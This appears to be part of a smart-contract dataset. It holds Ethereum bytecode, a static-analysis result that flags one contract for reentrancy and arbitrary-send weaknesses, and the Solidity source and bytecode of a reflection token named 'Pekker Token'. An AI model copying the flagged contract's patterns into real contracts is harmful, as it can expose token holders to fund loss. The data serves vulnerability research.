0160a01b031633146108d85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093957600080fd5b6009811061094657600080fd5b600855565b600061036c338484610ae6565b6009546001600160a01b0316331461096f57600080fd5b4761077581611053565b60006109bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611091565b9392505050565b6001600160a01b038316610a245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046d565b6001600160a01b038216610a855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046d565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046d565b60008111610c0e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046d565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8191906117d1565b600c546001600160a01b038481169116148015610cac5750600b546001600160a01b03858116911614155b610cb7576000610cb9565b815b1115610cc457600080fd5b6000546001600160a01b03848116911614801590610cf057506000546001600160a01b03838116911614155b15610e1257600c546001600160a01b038481169116148015610d205750600b546001600160a01b03838116911614155b8015610d4557506001600160a01b03821660009081526004602052604090205460ff16155b15610d9b57600a548110610d9b5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046d565b6000610da63061085c565b600c54909150600160a81b900460ff16158015610dd15750600c546001600160a01b03858116911614155b8015610de65750600c54600160b01b900460ff165b15610e1057610df481610e5c565b47670de0b6b3a7640000811115610e0e57610e0e47611053565b505b505b610e1d8383836110bf565b505050565b60008184841115610e465760405162461bcd60e51b815260040161046d91906114f6565b506000610e5384866117ea565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea457610ea4611801565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f219190611764565b81600181518110610f3457610f34611801565b6001600160a01b039283166020918202929092010152600b54610f5a91309116846109c2565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f93908590600090869030904290600401611817565b600060405180830381600087803b158015610fad57600080fd5b505af1158015610fc1573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046d565b60006110476110ca565b90506109bb8382610979565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108d573d6000803e3d6000fd5b5050565b600081836110b25760405162461bcd60e51b815260040161046d91906114f6565b506000610e538486611888565b610e1d8383836110ed565b60008060006110d76111e4565b90925090506110e68282610979565b9250505090565b6000806000806000806110ff87611266565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113190876112c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111609086611305565b6001600160a01b03891660009081526002602052604090205561118281611364565b61118c84836113ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d191815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f96006600a611736565b611207906305f5e100611745565b905061122f6112186006600a611736565b611226906305f5e100611745565b60055490610979565b82101561125d576005546112456006600a611736565b611253906305f5e100611745565b9350935050509091565b90939092509050565b60008060008060008060008060006112838a6007546008546113d2565b92509250925060006112936110ca565b905060008060006112a68e878787611427565b919e509c509a509598509396509194505050505091939550919395565b60006109bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e22565b60008061131283856118aa565b9050838110156109bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046d565b600061136e6110ca565b9050600061137c8383611477565b306000908152600260205260409020549091506113999082611305565b30600090815260026020526040902055505050565b6005546113bb90836112c3565b6005556006546113cb9082611305565b6006555050565b60008080806113ec60646113e68989611477565b90610979565b905060006113ff60646113e68a89611477565b90506000611417826114118b866112c3565b906112c3565b9992985090965090945050505050565b60008080806114368886611477565b905060006114448887611477565b905060006114528888611477565b905060006114648261141186866112c3565b939b939a50919850919650505050505050565b60008261148657506000610370565b60006114928385611745565b90508261149f8583611888565b146109bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046d565b600060208083528351808285015260005b8181101561152357858101830151858201604001528201611507565b81811115611535576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077557600080fd5b6000806040838503121561157357600080fd5b823561157e8161154b565b946020939093013593505050565b6000806000606084860312156115a157600080fd5b83356115ac8161154b565b925060208401356115bc8161154b565b929592945050506040919091013590565b6000602082840312156115df57600080fd5b81356109bb8161154b565b6000602082840312156115fc57600080fd5b5035919050565b6000806040838503121561161657600080fd5b82356116218161154b565b915060208301356116318161154b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168d5781600019048211156116735761167361163c565b8085161561168057918102915b93841c9390800290611657565b509250929050565b6000826116a457506001610370565b816116b157506000610370565b81600181146116c757600281146116d1576116ed565b6001915050610370565b60ff8411156116e2576116e261163c565b50506001821b610370565b5060208310610133831016604e8410600b8410161715611710575081810a610370565b61171a8383611652565b806000190482111561172e5761172e61163c565b029392505050565b60006109bb60ff841683611695565b600081600019048311821515161561175f5761175f61163c565b500290565b60006020828403121561177657600080fd5b81516109bb8161154b565b60008060006060848603121561179657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c157600080fd5b815180151581146109bb57600080fd5b6000602082840312156117e357600080fd5b5051919050565b6000828210156117fc576117fc61163c565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118675784516001600160a01b031683529383019391830191600101611842565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a557634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118bd576118bd61163c565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d5611c34a0fbdbe2f9cae2ff0a751811901118ea33243a4a292f9a8ba9282fbb64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,562
0x3c0a9d9b70a253b47443470a28e2d8422b9c882f
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ /** *Submitted for verification at Etherscan.io on 2021-06-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PekkerToken is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Pekker Token'; string private _symbol = 'PKR'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9; constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = ((_tTotal * maxTxPercent) / 10**2); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rTotal = _rTotal - rAmount; _tFeeTotal = _tFeeTotal + tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return (rAmount / currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = ((tAmount / 100) * 2); uint256 tTransferAmount = tAmount - tFee; return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rTransferAmount = rAmount - rFee; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return (rSupply / tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e996146103ca578063d543dbeb146103fa578063dd62ed3e14610416578063f2cc0c1814610446578063f2fde38b14610462578063f84354f11461047e5761014d565b8063715018a6146103065780637d1db4a5146103105780638da5cb5b1461032e57806395d89b411461034c578063a457c2d71461036a578063a9059cbb1461039a5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634549b039146102a657806370a08231146102d65761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c57806313114a9d146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612d66565b61049a565b005b6101766105ff565b6040516101839190613060565b60405180910390f35b6101a660048036038101906101a19190612d2a565b610691565b6040516101b39190613045565b60405180910390f35b6101c46106af565b6040516101d19190613242565b60405180910390f35b6101e26106b9565b6040516101ef9190613242565b60405180910390f35b610212600480360381019061020d9190612cdb565b6106cc565b60405161021f9190613045565b60405180910390f35b610242600480360381019061023d9190612d66565b61084a565b60405161024f9190613242565b60405180910390f35b6102606108b1565b60405161026d919061325d565b60405180910390f35b610290600480360381019061028b9190612d2a565b6108c8565b60405161029d9190613045565b60405180910390f35b6102c060048036038101906102bb9190612d8f565b610974565b6040516102cd9190613242565b60405180910390f35b6102f060048036038101906102eb9190612c76565b6109ff565b6040516102fd9190613242565b60405180910390f35b61030e610aea565b005b610318610c24565b6040516103259190613242565b60405180910390f35b610336610c2a565b604051610343919061302a565b60405180910390f35b610354610c53565b6040516103619190613060565b60405180910390f35b610384600480360381019061037f9190612d2a565b610ce5565b6040516103919190613045565b60405180910390f35b6103b460048036038101906103af9190612d2a565b610e57565b6040516103c19190613045565b60405180910390f35b6103e460048036038101906103df9190612c76565b610e75565b6040516103f19190613045565b60405180910390f35b610414600480360381019061040f9190612d66565b610ecb565b005b610430600480360381019061042b9190612c9f565b610f73565b60405161043d9190613242565b60405180910390f35b610460600480360381019061045b9190612c76565b610ffa565b005b61047c60048036038101906104779190612c76565b611295565b005b61049860048036038101906104939190612c76565b61143e565b005b60006104a461180c565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a90613202565b60405180910390fd5b600061053e83611814565b50505050905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058f9190613375565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806006546105e09190613375565b600681905550826007546105f49190613294565b600781905550505050565b60606008805461060e90613431565b80601f016020809104026020016040519081016040528092919081815260200182805461063a90613431565b80156106875780601f1061065c57610100808354040283529160200191610687565b820191906000526020600020905b81548152906001019060200180831161066a57829003601f168201915b5050505050905090565b60006106a561069e61180c565b848461186c565b6001905092915050565b6000600754905090565b60006a52b7d2dcc80cd2e4000000905090565b60006106d9848484611a37565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072261180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561079f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079690613162565b60405180910390fd5b61083f846107ab61180c565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f561180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461083a9190613375565b61186c565b600190509392505050565b6000600654821115610891576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610888906130a2565b60405180910390fd5b600061089b611f0f565b905080836108a991906132ea565b915050919050565b6000600a60009054906101000a900460ff16905090565b600061096a6108d561180c565b8484600360006108e361180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109659190613294565b61186c565b6001905092915050565b60006a52b7d2dcc80cd2e40000008311156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb90613122565b60405180910390fd5b816109e35760006109d484611814565b505050509050809150506109f9565b60006109ee84611814565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a9a57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ae5565b610ae2600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084a565b90505b919050565b610af261180c565b73ffffffffffffffffffffffffffffffffffffffff16610b10610c2a565b73ffffffffffffffffffffffffffffffffffffffff1614610b66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5d90613182565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610c6290613431565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8e90613431565b8015610cdb5780601f10610cb057610100808354040283529160200191610cdb565b820191906000526020600020905b815481529060010190602001808311610cbe57829003601f168201915b5050505050905090565b600060036000610cf361180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490613222565b60405180910390fd5b610e4d610db861180c565b848460036000610dc661180c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e489190613375565b61186c565b6001905092915050565b6000610e6b610e6461180c565b8484611a37565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ed361180c565b73ffffffffffffffffffffffffffffffffffffffff16610ef1610c2a565b73ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613182565b60405180910390fd5b6064816a52b7d2dcc80cd2e4000000610f60919061331b565b610f6a91906132ea565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61100261180c565b73ffffffffffffffffffffffffffffffffffffffff16611020610c2a565b73ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d90613182565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90613102565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111d757611193600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61129d61180c565b73ffffffffffffffffffffffffffffffffffffffff166112bb610c2a565b73ffffffffffffffffffffffffffffffffffffffff1614611311576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130890613182565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611381576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611378906130c2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61144661180c565b73ffffffffffffffffffffffffffffffffffffffff16611464610c2a565b73ffffffffffffffffffffffffffffffffffffffff16146114ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b190613182565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90613102565b60405180910390fd5b60005b600580549050811015611808578173ffffffffffffffffffffffffffffffffffffffff16600582815481106115a7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117f557600560016005805490506116029190613375565b81548110611639577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061169e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060058054806117bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000